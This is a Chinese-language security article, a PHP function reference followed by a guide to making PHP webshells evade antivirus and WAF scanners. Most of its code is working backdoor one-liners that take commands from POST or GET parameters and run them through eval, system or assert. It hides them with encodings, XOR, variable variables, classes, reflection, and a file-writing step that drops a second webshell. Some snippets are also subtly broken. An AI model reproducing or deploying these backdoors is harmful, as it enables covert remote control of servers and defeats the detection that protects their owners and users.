作者:曾哥
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
一、PHP相關資料
- PHP官方手冊: https://www.php.net/manual/zh/
- PHP函數參考: https://www.php.net/manual/zh/funcref.php
- 菜鳥教程: https://www.runoob.com/php/php-tutorial.html
- w3school: https://www.w3school.com.cn/php/index.asp
- 淵龍Sec安全團隊導航: https://dh.aabyss.cn
- 開源地址: https://github.com/AabyssZG/WebShell-Bypass-Guide
二、PHP函數速查
0 PHP基礎
0.0 PHP基礎格式
<?php
//執行的相關PHP代碼
?>
這是一個PHP文件的基本形式
0.1 .=和+=賦值
$a = 'a'; //賦值
$b = 'b'; //賦值
$c = 'c'; //賦值
$c .= $a;
$c .= $b;
echo $c; //cab
.=通俗的說,就是累積+=意思是:左邊的變量的值加上右邊的變量的值,再賦給左邊的變量
0.2 數組
array() 函數用于創建數組
$shuzu = array("AabyssZG","AabyssTeam");
echo "My Name is " . $shuzu[0] . ", My Team is " . $shuzu[1] . ".";
//My Name is AabyssZG, My Team is AabyssTeam.
數組可嵌套:
$r = 'b[]=AabyssZG&b[]=system';
$rce = array(); //用array函數新建數組
parse_str($r, $rce); //這個函數下文有講
print_r($rce);
$rce 數組輸出為:
Array (
[b] => Array
(
[0] => AabyssZG
[1] => system
)
)
這時候可以這樣利用
$rce['b'][1](參數); //提取rce數組中的b數組內容,相當于system(參數)
echo $rce['b'][0]; //AabyssZG
使用 [] 定義數組
$z = ['A','a','b', 'y', 's', 's'];
$z[0] = 'A';
$z[1] = 'a';
$z[2] = 'b';
$z[3] = 'y';
$z[4] = 's';
$z[5] = 's';
這就是基本的一個數組,數組名為z,數組第一個成員為0,以此類推
compact() 函數用于創建數組創建一個包含變量名和它們的值的數組
$firstname = "Aabyss";
$lastname = "ZG";
$age = "21";
$result = compact("firstname", "lastname", "age");
print_r($result);
數組輸出為:
Array ( [firstname] => Aabyss [lastname] => ZG [age] => 21 )
0.3 連接符
. 最簡的連接符
$str1="hello";
$str2="world";
echo $str1.$str2; //helloworld
0.4 運算符
& 運算符
加減乘除應該不用我說了吧
($var & 1) //如果$var是一個奇數,則返回true;如果是偶數,則返回false
邏輯運算符
特別是 xor 異或運算符,在一些場合需要用到

0.5 常量
自定義常量
define('-_-','smile'); //特殊符號開頭,定義特殊常量
define('wo',3.14);
const wo = 3;
常量的命名規則
- 常量不需要使用
$符號,一旦使用系統就會認為是變量; - 常量的名字組成由字母、數字和下劃線組成,不能以數字開頭;
- 常量的名字通常是以大寫字母為主,以區別于變量;
- 常量命名的規則比變量要松散,可以使用一些特殊字符,該方式只能使用
define定義;
__FILE__ 常量(魔術常量)
__FILE__ //返回文件的完整路徑和文件名
dirname(__FILE___) //函數返回的是代碼所在腳本的路徑
dirname(__FILE__) //返回文件所在當前目錄到系統根目錄的一個目錄結構(不會返回當前的文件名稱)
其他魔術常量
__DIR__ //當前被執行的腳步所在電腦的絕對路徑
__LINE__ //當前所示的行數
__NAMESPACE__ //當前所屬的命名空間
__CLASS__ //當前所屬的類
__METHOD__ //當前所屬的方法
0.6 PHP特性
- PHP中函數名、方法名、類名不區分大小寫,常量和變量區分大小寫
- 在某些環境中,
<?php ?>沒有閉合會導致無法正常運作
0.7 PHP標記幾種寫法
其中第一和第二種為常用的寫法
第一種:<?php ?>
第二種:<?php
第三種:<? ?>
第四種:<% %>
第五種:<script language="php"></script>
第三種和第四種為短標識,當使用他們需要開啟 php.ini 文件中的 short_open_tag ,不然會報錯
0.8 $_POST變量
在 PHP 中,預定義的 $_POST 變量用于收集來自 method="post" 的表單中的值
$num1=$_POST['num1'];
$num2=$_POST['num2'];
print_r($_POST);
當你在HTTP數據包Body傳參時:
num1=1&num2=2
得到回顯:
Array
(
[num1] => 1
[num2] => 2
)
1 回調類型函數
1.0 Tips
在PHP的WebSehll免殺測試過程中,使用回調函數可以發現查殺引擎對函數和函數的參數是否有對應的敏感性
array_map('system', array('whoami')); //被查殺
array_map($_GET['a'], array('whoami')); //被查殺
array_map('var_dump', array('whoami')); //未被查殺
array_map('system', array($_GET['a'])); //被查殺
這里在列舉一些回調函數,感興趣可以自行查找:
array_filter()
array_walk()
array_map()
array_reduce()
array_walk_recursive()
call_user_func_array()
call_user_func()
filter_var()
filter_var_array()
registregister_shutdown_function()
register_tick_function()
forward_static_call_array()
uasort()
uksort()
1.1 array_map()
array_map() 函數將用戶自定義函數作用到數組中的每個值上,并返回用戶自定義函數作用后的帶有新的值的數組
Demo:將函數作用到數組中的每個值上,每個值都乘以本身,并返回帶有新的值的數組:
function myfunction($v)
{
return($v*$v);
}
$a=array(1,2,3,4,5); //array(1,4,9,16,25)
print_r(array_map("myfunction",$a));
1.2 register_shutdown_function()
register_shutdown_function() 函數是來注冊一個會在PHP中止時執行的函數
PHP中止的情況有三種:
- 執行完成
- exit/die導致的中止
- 發生致命錯誤中止
Demo:后面的after并沒有輸出,即 exit 或者是 die 方法導致提前中止
function test()
{
echo '這個是中止方法test的輸出';
}
register_shutdown_function('test');
echo 'before' . PHP_EOL;
exit();
echo 'after' . PHP_EOL;
輸出:
before
這個是中止方法test的輸出
1.3 array_walk()
array_walk() 函數對數組中的每個元素應用用戶自定義函數
Demo:這個很簡單,直接看就明白了
function myfunction($value,$key,$p)
{
echo "$key $p $value<br>";
}
$a=array("a"=>"red","b"=>"green","c"=>"blue");
array_walk($a,"myfunction","has the value");
輸出:
The key a has the value red
The key b has the value green
The key c has the value blue
1.4 array_filter()
array_filter() 函數用回調函數過濾數組中的元素
該函數把輸入數組中的每個鍵值傳給回調函數:如果回調函數返回 true,則把輸入數組中的當前鍵值返回給結果數組(數組鍵名保持不變)
Demo:
function test_odd($var)
{
return($var & 1);
}
$a1=array("a","b",2,3,4);
print_r(array_filter($a1,"test_odd"));
輸出:
Array ( [3] => 3 )
1.5 foreach()
foreach() 方法用于調用數組的每個元素,并將元素傳遞給回調函數
foreach 語法結構提供了遍歷數組的簡單方式。foreach 僅能夠應用于數組和對象,如果嘗試應用于其他數據類型的變量,或者未初始化的變量將發出錯誤信息。
Demo:
$arr = array(1,2,3,4);
//用foreach來處理$arr
foreach($arr as $k=>$v) {
$arr[$k] = 2 * $v;
}
print_r($arr);
輸出:
Array
(
[0] => 2
[1] => 4
[2] => 6
[3] => 8
)
1.6 isset()
isset() 函數用于檢測變量是否已設置并且非 NULL
isset 在php中用來判斷變量是否聲明,該函數返回布爾類型的值,即true/false isset 只能用于變量,因為傳遞任何其它參數都將造成解析錯誤
Demo:
$var = '';
// 結果為 TRUE,所以后邊的文本將被打印出來。
if (isset($var)) {
echo "變量已設置。" . PHP_EOL;
}
// 在后邊的例子中,我們將使用 var_dump 輸出 isset() 的返回值。
// the return value of isset().
$a = "test";
$b = "anothertest";
var_dump(isset($a)); // TRUE
var_dump(isset($a, $b)); // TRUE
unset ($a);
var_dump(isset($a)); // FALSE
var_dump(isset($a, $b)); // FALSE
$foo = NULL;
var_dump(isset($foo)); // FALSE
輸出:
bool(true)
bool(true)
bool(false)
bool(false)
bool(false)
2 字符串處理類函數
2.0 Tips
可以自己定義函數,組成字符串的拼接方式,比如:
function confusion($a){
$s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm'];
$tmp = "";
while ($a>10) {
$tmp .= $s[$a%10];
$a = $a/10;
}
return $tmp.$s[$a];
}
echo confusion(976534); //sysTem(高危函數)
這時候,給 $a 傳參為 976534 即可拼接得 system
同樣,還有很多字符串處理類的函數,可以參考如下:
trim() //從字符串的兩端刪除空白字符和其他預定義字符
ucfirst() //把字符串中的首字符轉換為大寫
ucwords() //把字符串中每個單詞的首字符轉換為大寫
strtoupper() //把字符串轉換為大寫
strtolower() //把字符串轉換為小寫
strtr() //轉換字符串中特定的字符
substr_replace() //把字符串的一部分替換為另一個字符串
substr() //返回字符串的一部分
strtok() //把字符串分割為更小的字符串
str_rot13() //對字符串執行 ROT13 編碼
2.1 substr()
substr() 函數返回字符串的一部分
Demo:相當于截取字段固定長度和開頭的內容
echo substr("D://system//451232.php", -10, 6)."<br>"; //451232
echo substr("AabyssTeam", 0, 6)."<br>"; //Aabyss
2.2 intval()
intval() 獲取變量的整數值
int intval(var,base) //var指要轉換成 integer 的數量值,base指轉化所使用的進制
如果 base 是 0,通過檢測 var 的格式來決定使用的進制:
- 如果字符串包括了
0x(或0X) 的前綴,使用 16 進制 (hex); - 否則,如果字符串以
0開始,使用 8 進制(octal); - 否則,將使用 10 進制 (decimal)
成功時返回 var 的 integer 值,失敗時返回 0。空的 array 返回 0,非空的 array 返回 1
Demo:獲取對應的整數值
echo intval(042); // 34
echo intval(0x1A); // 26
echo intval(42); // 42
echo intval(4.2); // 4
2.3 parse_str()
parse_str() 函數把查詢字符串解析到變量中
Demo:這個也很簡單,看看例子就明白了
parse_str("name=Peter&age=43");
echo $name."<br>"; //Peter
echo $age; //43
parse_str("name=Peter&age=43",$myArray);
print_r($myArray); //Array ( [name] => Peter [age] => 43 )
2.4 pack()
pack() 函數函數把數據裝入一個二進制字符串
Demo:簡單來說,就是將指定編碼的數字轉成字符串
echo pack("C3",80,72,80); //ASCII編碼轉換為PHP
echo pack("H*",4161627973735465616d); //16進制編碼轉換為AabyssTeam
其他參數請參考菜鳥教程: https://www.runoob.com/php/func-misc-pack.html
3 命令執行類函數
3.0 Tips
命令執行類函數在”某些情況“下是非常危險的,所以往往遭到殺毒軟件和WAF的重點關注,所以在做免殺的時候,為了繞過污點檢測往往都要將命令執行類函數進行拼接、重組、加密、混淆來規避查殺。
3.1 eval()
eval() 函數把字符串按照 PHP 代碼來計算,即執行PHP代碼
Demo:將其中的內容按照PHP代碼執行
echo 'echo "我想學php"'; //echo "我想學php"
eval('echo "我想學php";'); //"我想學php"
Demo:一句話木馬將參數傳到 eval() 函數內執行
@eval($_POST['AabyssTeam']);
3.2 system()
system() 函數的主要功能是在系統權限允許的情況下,執行系統命令(Windows系統和Linux系統均可執行)
Demo:執行Whoami并回顯
system('whoami');
3.2 exec()
exec() 函數可以執行系統命令,但它不會直接輸出結果,而是將執行的結果保存到數組中
Demo:將 exec() 函數執行的結果導入result數組
exec( 'ls' , $result );
print_r($result); //Array ( [0] => index.php )
3.3 shell_exec()
shell_exec() 函數可以執行系統命令,但不會直接輸出執行的結果,而是返回一個字符串類型的變量來存儲系統命令的執行結果
Demo:執行 ls 命令
echo shell_exec('ls'); //index.php
3.4 passthru()
passthru() 函數可以執行系統命令并將執行結果輸出到頁面中
與 system() 函數不同的是,它支持二進制的數據,使用時直接在參數中傳遞字符串類型的系統命令即可
Demo:執行 ls 命令
passthru('ls'); //index.php
3.5 popen()
popen() 函數可以執行系統命令,但不會輸出執行的結果,而是返回一個資源類型的變量用來存儲系統命令的執行結果
故需要配合 fread() 函數來讀取命令的執行結果
Demo:執行 ls 命令
$result = popen('ls', 'r'); //參數1:執行ls命令 參數2:字符串類型
echo fread($result, 100); //參數1:上面生成的資源 參數2:讀取100個字節
3.6 反引號``
反引號可以執行系統命令但不會輸出結果,而是返回一個字符串類型的變量用來存儲系統命令的執行結果
可單獨使用,也可配合其他命令執行函數使用來繞過參數中的濾條件
Demo:執行 ls 命令
echo `ls`; //index.php
4 文件寫入類函數
4.0 Tips
在Webshell的免殺過程中,一部分人另辟蹊徑:通過執行一個執行內容為”寫入惡意PHP“的樣本來繞過查殺,執行成功后會在指定目錄寫入一個惡意PHP文件,最后通過連接那個惡意PHP文件獲得WebShell
4.1 fwrite()
fwrite() 函數是用于寫入文件,如果成功執行,則返回寫入的字節數;失敗,則返回 FALSE
Demo:將 Hello World. Testing! 寫入 test.txt
$file = fopen("test.txt","w");
echo fwrite($file,"Hello World. Testing!"); //21
fclose($file);
4.2 file_put_contents()
file_put_contents() 函數把一個字符串寫入文件中
如果文件不存在,將創建一個文件
Demo:使用 FILE_APPEND 標記,可以在文件末尾追加內容
$file = 'sites.txt';
$site = "\nGoogle";
file_put_contents($file, $site, FILE_APPEND);
同時該函數可以配合解密函數寫入文件,比如:
$datatest = "[文件的base64編碼]";
file_put_contents('./要寫入的文件名', base64_decode($datatest));
5 異常處理類函數
5.0 Tips
在PHP的異常處理中,異常處理的相關函數引起了安全行業人員的注意,可以構造相關的異常處理,來繞過WAF的識別和檢測。
5.1 Exception 類
Exception 類是php所有異常的基類,這個類包含如下方法:
__construct //異常構造函數
getMessage //獲取異常消息內容
getPrevious //返回異常鏈中的前一個異常,如果不存在則返回null值
getCode //獲取異常代碼
getFile //獲取發生異常的程序文件名稱
getLine //獲取發生異常的代碼在文件中的行號
getTrace //獲取異常追蹤信息,其返回值是一個數組
getTraceAsString //獲取字符串類型的異常追蹤信息
寫個簡單的例子方便理解:
// 創建一個有異常處理的函數
function checkNum($number)
{
if($number>1)
{
throw new Exception("變量值必須小于等于 1");
}
return true;
}
// 在 try 塊 觸發異常
try
{
checkNum(2);
// 如果拋出異常,以下文本不會輸出
echo '如果輸出該內容,說明 $number 變量';
}
// 捕獲異常
catch(Exception $e)
{
echo 'Message: ' .$e->getMessage() . "<br>" ;
echo "錯誤信息:" . $e->getMessage() . "<br>";
echo "錯誤碼:" . $e->getCode() . "<br>";
echo "錯誤文件:" . $e->getFile() . "<br>";
echo "錯誤行數:" . $e->getLine() . "<br>";
echo "前一個異常:" . $e->getPrevious() . "<br>";
echo "異常追蹤信息:";
echo "" . print_r($e->getTrace(), true) . "<br>";
echo "報錯內容輸出完畢";
}
運行后輸出結果:
Message: 變量值必須小于等于 1
錯誤信息:變量值必須小于等于 1
錯誤碼:0
錯誤文件:D:\phpstudy_pro\WWW\AabyssZG\error.php
錯誤行數:7
前一個異常:
異常追蹤信息:Array ( [0] => Array ( [file] => D:\phpstudy_pro\WWW\AabyssZG\error.php [line] => 14 [function] => checkNum [args] => Array ( [0] => 2 ) ) )
報錯內容輸出完畢
...
6 數據庫連接函數
6.0 Tips
可以嘗試通過讀取數據庫內的內容,來獲取敏感關鍵詞或者拿到執行命令的關鍵語句,就可以拼接到php中執行惡意的代碼了。
6.1 Sqlite數據庫
配合我上面寫的 file_put_contents() 文件寫入函數,先寫入本地Sqlite文件然后讀取敏感內容
$path = "AabyssZG.db";
$db = new PDO("sqlite:" . $path);
//連接數據庫后查詢敏感關鍵詞
$sql_stmt = $db->prepare('select * from test where name="system"');
$sql_stmt->execute();
//提權敏感關鍵詞并進行拼接
$f = substr($sql_stmt->queryString, -7, 6);
$f($_GET['aabyss']); //system($_GET['aabyss']);
6.2 MySQL數據庫
這里使用 MySQLi() 這個函數,其實PHP有很多MySQL連接函數,可自行嘗試
然后通過這個函數,連接公網數據庫(只要目標能出網),即可連接并獲得敏感字符拼接到php中
function coon($sql) {
$mysqli = new MySQLi("localhost", "test", "test123", "test");
//默認的 MySQL的類,其屬性與方法見手冊
if ($mysqli - > connect_error) {
//connect_error為屬性,報錯
die("數據庫連接失敗:".$mysqli - > connect_errno. "--".$mysqli - > connect_error);
// connect_errno:錯誤編號
}
$mysqli - > select_db("test"); //選擇數據庫
// 返回值 $res 為資源類型(獲取到結果的資源類型)
$res = $mysqli - > query($sql) or die($mysqli - > error);
//釋放結果集,關閉連接
$mysqli - > close();
}
$sql = "select * from test where name LIKE 'system'";
$arr = coon($sql);
$res = array("data" => $arr);
echo json_encode($res);
7 PHP過濾器

三、Webshell免殺
學習后的免殺效果
學習本手冊后,可以達到如下效果,當然這只是拿其中的一個簡單的例子進行測試的,感興趣的可以深入學習并自由組合
牧云Webshell檢測引擎:

微步在線云沙箱:


河馬WebShell在線查殺:

百度WEBDIR+在線查殺:

大名鼎鼎的VirusTotal:

0 免殺思路概述
首先,要知己知彼,才能針對性做出策略來使得WebShell成功免殺
0.1 WebShell查殺思路
對于WebShell的查殺思路,大致有以下幾種:
- 分析統計內容(傳統):可以結合字符黑名單和函數黑名單或者其他特征列表(例如代碼片段的Hash特征表),之后通過對文件信息熵、元字符、特殊字符串頻率等統計方式發現WebShell。
- 語義分析(AST):把代碼轉換成AST語法樹,之后可以對一些函數進行調試追蹤,那些混淆或者變形過的webshell基本都能被檢測到。但是對于PHP這種動態特性很多的語言,檢測就比較吃力,AST是無法了解語義的。
- 機器學習(AI):這種方法需要大量的樣本數據,通過一些AI自動學習模型,總結歸類Webshell的特征庫,最終去檢測Webshell。
- 動態監控(沙箱):采用RASP方式,一旦檢測到有對應腳本運行,就去監控(Hook)里邊一些危險函數,一但存在調用過程將會立刻阻止。這種阻止效果是實時的,這種方法應該是效果最好的,但是成本十分高昂。
0.2 WebShell整體免殺思路
而對于最常見也是最簡單的WebShell,即一句話木馬,都是以下形式存在的:

而我們要做的是:通過PHP語言的動特性,靈活利用各種PHP函數和特性,混淆和變形中間兩部分內容,從而達到免殺
0.3 WebShell免殺注意點
0.3.1 eval() 高危函數
eval() 不能作為函數名動態執行代碼,官方說明如下:eval 是一個語言構造器而不是一個函數,不能被可變函數調用
可變函數:通過一個變量獲取其對應的變量值,然后通過給該值增加一個括號 (),讓系統認為該值是一個函數,從而當做函數來執行
人話:eval() 函數不能通過拼接、混淆來進行執行,只能通過明文直接寫入
0.3.2 assert() 高危函數
在PHP7 中,assert () 也不再是函數了,變成了一個語言結構(類似于 eval),不能再作為函數名動態執行代碼,所以利用起來稍微復雜一點,這個感興趣可以自行了解即可
所以在WebShell免殺這塊,我還是更喜歡用 system() 高危函數,以下很多案例都是使用 system() 來最終執行的
0.4 WebShell免殺測試
- 淵龍Sec團隊導航(上面啥都有): https://dh.aabyss.cn/
- 長亭牧云查殺: https://stack.chaitin.com/security-challenge/webshell/index
- 阿里云惡意文件檢測平臺:https://ti.aliyun.com/#/webshell
- 阿里伏魔引擎: https://xz.aliyun.com/zues
- VirusTotal: https://www.virustotal.com/gui/home/upload
- 微步在線云沙箱: https://s.threatbook.com/
- 河馬WebShell查殺: https://n.shellpub.com/
- 百度WEBDIR+: https://scanner.baidu.com/
- D盾: http://www.d99net.net/
- 網站安全狗: http://free.safedog.cn/website_safedog.html
1 編碼繞過
這算是早期的免殺手法,可以通過編碼來繞過WAF的檢測,如下:
1.1 Base64編碼
<?php
$f = base64_decode("YX____Nz__ZX__J0"); //解密后為assert高危函數
$f($_POST[aabyss]); //assert($_POST[aabyss]);
?>
1.2 ASCII編碼
<?php
//ASCII編碼解密后為assert高危函數
$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
$f($_POST['aabyss']); //assert($_POST['aabyss']);
?>
1.3 ROT13編碼
$f = str_rot13('flfgrz'); //解密后為system高危函數
$f($_POST['aabyss']); //system($_POST['aabyss']);
當然還有很多其他的編碼和加密方式,但常見的編碼方式都被放入敏感名單了,會根據加密的形式自動進行解密
可以考慮一些比較冷門的編碼方式,或者寫一個類似于凱撒密碼的加密函數,來對WAF進行ByPass
1.4 Gzip壓縮加密
我先舉一個 phpinfo() 加密后的示例:
/*Protected by AabyssZG*/
eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA')));
加密手法可以看我寫的博客: https://blog.zgsec.cn/index.php/archives/147/
2 字符串混淆處理繞過
2.1 自定義函數混淆字符串
通過對上面所說兩部分敏感內容的拼接、混淆以及變換,來繞過WAF的檢測邏輯,如下:
function confusion($a){
$s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm'];
$tmp = "";
while ($a>10) {
$tmp .= $s[$a%10];
$a = $a/10;
}
return $tmp.$s[$a];
}
$f = confusion(976534); //sysTem(高危函數)
$f($_POST['aabyss']); //sysTem($_POST['aabyss']);
2.2 自定義函數+文件名混淆
同,可以配合文件名玩出一些花活,我們建一個PHP名字為 976534.php:
function confusion($a){
$s = ['a','t','s', 'y', 'm', 'e', '/'];
$tmp = "";
while ($a>10) {
$tmp .= $s[$a%10];
$a = $a/10;
}
return $tmp.$s[$a];
}
$f = confusion(intval(substr(__FILE__, -10, 6))); //sysTem(高危函數)
//__FILE__為976534.php
//substr(__FILE__, -10, 6)即從文件名中提取出976534
//confusion(intval(976534))即輸出了sysTem(高危函數),拼接即可
$f($_POST['aabyss']); //sysTem($_POST['aabyss']);
首先先讀取文件名,從 976534.php 文件名中提取出 976534 ,然后帶入函數中就成功返還 sysTem 高危函數了,可以配合其他姿勢一起使用,達成免殺效果
2.3 特殊字符串
主要是通過一些特殊的字符串,來干擾到殺軟的正則判斷并執行惡意代碼(各種回車、換行、null和空白字符等)
$f = 'hello';
$$z = $_POST['aabyss'];
eval(``.$hello);
3 生成新文件繞過
這是我之前寫的一個免殺,其實原理也很簡單,該PHP本身沒法執行命令,但是運行后可以在同目錄混淆寫入一個WebShell,也是可以進行免殺的:
$hahaha = strtr("abatme","me","em"); //$hahaha = abatem
$wahaha = strtr($hahaha,"ab","sy"); //$wahaha = system(高危函數)
$gogogo = strtr('echo "<?php evqrw$_yKST[AABYSS])?>" > ./out.php',"qrwxyK","al(_PO");
//$gogogo = 'echo "<?php eval(_POST[AABYSS])?>" > ./out.php'
$wahaha($gogogo); //將一句話木馬內容寫入同目錄下的out.php中
現在看這個是不是很簡單,但是這個可是VirusTotal全綠、微步沙箱和百度沙箱都過的哦~
沒想到吧~ 其實在這個簡單的基礎上還可以拓展出來進行高階免殺操作
4 回調函數繞過
通過回調函數,來執行對應的命令,這里舉兩個例子:
4.1 call_user_func_array()
//ASCII編碼解密后為assert高危函數
$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
call_user_func_array($f, array($_POST['aabyss']));
4.2 array_map()
function fun() {
//ASCII編碼解密后為assert高危函數
$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
return ''.$f;
}
$user = fun(); //拿到assert高危函數
$pass =array($_POST['aabyss']);
array_map($user,$user = $pass );
回調函數的免殺早早就被WAF盯上了,像這樣單獨使用一般都沒辦法免殺,所以一般都是配合其他手法使用
5 可變變量繞過
5.1 簡單可變變量
什么叫可變變量呢?看一下具體例子就明白了:
$f = 'hello'; //變量名為f,變量值為Hello
$$f = 'AabyssZG'; //變量名為Hello(也就是$f的值),值為AabyssZG
echo $hello; //輸出AabyssZG
那要怎么利用這個特性呢?如下:
$f ='hello';
$$f = $_POST['aabyss'];
eval($hello); //eval($_POST['aabyss']);
5.2 數組+變量引用混淆
上文提到,可以通過 compact 創建一個包含變量名和它們的值的數組
那就可以用 compact 創建一個包含惡意函數和內容的數組,再引用出來拼接成語句即可
$z = "system"; //配合其他姿勢,將system高危函數傳給z
$zhixin = &$z;
$event = 'hahaha';
$result = compact("event", "zhixin"); //通過compact創建數組
$z = 'wahaha'; //我將變量z進行修改為'wahaha'
$f = $result['zhixin'];
$f($_POST['aabyss']); //system($_POST['aabyss']);
根據5.1學到的內容,可以發現傳入數組,函數內容被替換是不會影響數組中的內容的
于是先用變量 zhixin 來引用變量 z 然后通過 compact 創建為數組,接下來再將變量 z 附上新的內容 wahaha ,傳統的WAF追蹤變量的內容時候,就會讓查殺引擎誤以為數組中的值不是 system 而是 wahaha ,從而達到WebShell免殺
6 數組繞過
先將高危函數部分存儲在數組中,等到時機成熟后提取出來進行拼接
6.1 一維數組
$f = substr_replace("systxx","em",4); //system(高危函數)
$z = array($array = array('a'=>$f($_GET['aabyss'])));
var_dump($z);
數組內容如下:
Array ( [0] => Array ( [a] => assert($_GET['aabyss']) ) )
6.2 二維數組
$f = substr_replace("systxx","em",4); //system(高危函數)
$z = array($arrayName = ($arrayName = ($arrayName = array('a' => $f($_POST['aabyss'])))));
var_dump($z);
7 類繞過
通過自定義類或者使用已知的類,將惡意代碼放入對應的類中進行執行
7.1 單類
class Test
{
public $_1='';
function __destruct(){
system("$this->a");
}
}
$_2 = new Test;
$_2->$_1 = $_POST['aabyss'];
7.2 多類
class Test1
{
public $b ='';
function post(){
return $_POST['aabyss'];
}
}
class Test2 extends Test1
{
public $code = null;
function __construct(){
$code = parent::post();
system($code);
}
}
$fff = new Test2;
$zzz = new Test1;
主要還是要用一些魔術方法來進行ByPass
8 嵌套運算繞過
主要通過各種嵌套、異或以及運算來拼裝出來想要的函數,再利用PHP允許動態函數執行的特點,拼接處高危函數名,如 system ,然后動態執行惡意代碼之即可
8.1 異或
^ 為異或運算符,在PHP中兩個變量進行異或時,會將字符串轉換成二進制再進行異或運算,運算完再將結果從二進制轉換成了字符串
$f = ('.'^']').('$'^']').('.'^']').('4'^'@').('8'^']').(']'^'0'); //system高危函數
$f($_POST['aabyss']);
這里的話,可以參考國光大佬的Python腳本生成異或結果,然后來替換即可:python3 xxx.py > results.txt
import string
from urllib.parse import quote
keys = list(range(65)) + list(range(91,97)) + list(range(123,127))
results = []
for i in keys:
for j in keys:
asscii_number = i^j
if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122):
if i < 32 and j < 32:
temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
elif i < 32 and j >=32:
temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
elif i >= 32 and j < 32:
temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
else:
temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
results.sort(key=lambda x:x[1], reverse=False)
for low_case in string.ascii_lowercase:
for result in results:
if low_case in result:
print(result[0])
for upper_case in string.ascii_uppercase:
for result in results:
if upper_case in result:
print(result[0])
8.2 嵌套運算
其實嵌套運算在WebShell免殺中算是常客了,讓我們來看一下一個 phpinfo() 的嵌套運算
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
加密手法可以看我寫的博客: https://blog.zgsec.cn/index.php/archives/147/
9 傳參繞過
將惡意代碼不寫入文件,而是通過傳參傳入,所以這個比較難以被常規WAF所識別
9.1 Base64傳參
$decrpt = $_REQUEST['a'];
$decrps = $_REQUEST['b'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
$arrt = explode("|", $decrps)[1];
$arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]);
傳參內容:
a=c3lzdGVt //system的base64加密
b=d2hvYW1p //whoami的base64加密
也可以嘗試使用其他編碼或者加密方式進行傳參
9.2 函數構造傳參
可以用一些定義函數的函數來進行傳參繞過,比如使用 register_tick_function() 這個函數
register_tick_function ( callable $function [, mixed $... ] ) : bool
例子如下:
$f = $_REQUEST['f'];
declare(ticks=1);
register_tick_function ($f, $_REQUEST['aabyss']);
10 自定義函數繞過
通過自定義函數,將惡意代碼內容隱藏于自定義函數當中,再進行拼接執行
10.1 簡單自定義函數
這個要與其他的姿勢進行結合,目前沒辦法通過簡單自定義函數進行免殺
function out($b){
return $b;
}
function zhixin($a){
return system($a);
}
function post(){
return $_POST['aabyss'];
}
function run(){
return out(zhixin)(out(post()));
}
run();
10.2 讀取已定義函數
獲取某個類的全部已定義的常量,不管可見性如何定義
public ReflectionClass::getConstants(void) : array
例子如下:
class Test
{
const a = 'Sy';
const b = 'st';
const c = 'em';
public function __construct(){
}
}
$para1;
$para2;
$reflector = new ReflectionClass('Test');
for ($i=97; $i <= 99; $i++) {
$para1 = $reflector->getConstant(chr($i));
$para2.=$para1;
}
foreach (array('_POST','_GET') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key= $_value;
}
}
$para2($_value);
11 讀取字符串繞過
重點還是放在高危函數上,通過讀取各種東西來獲得對應字符串
11.1 讀取注釋
這里用到讀取注釋的函數
ReflectionClass::getDocComment
例子如下:
/**
* system($_GET[aabyss]);
*/
class User
$user = new ReflectionClass('User');
$comment = $user->getDocComment();
$f = substr($comment , 14 , 22);
eval($f);
11.2 讀取數據庫
可以通過 file_put_contents 文件寫入函數入一個Sqlite的數據庫
$datatest = "[文件的base64編碼]";
file_put_contents('./要寫入的文件名', base64_decode($datatest));
然后通過PHP讀取數據庫內容提取高危函數,從而達到WebShell免殺效果
$path = "數據庫文件名"
$db = new PDO("sqlite:" . $path);
$sql_stmt = $db->prepare('select * from test where name="system"');
$sql_stmt->execute();
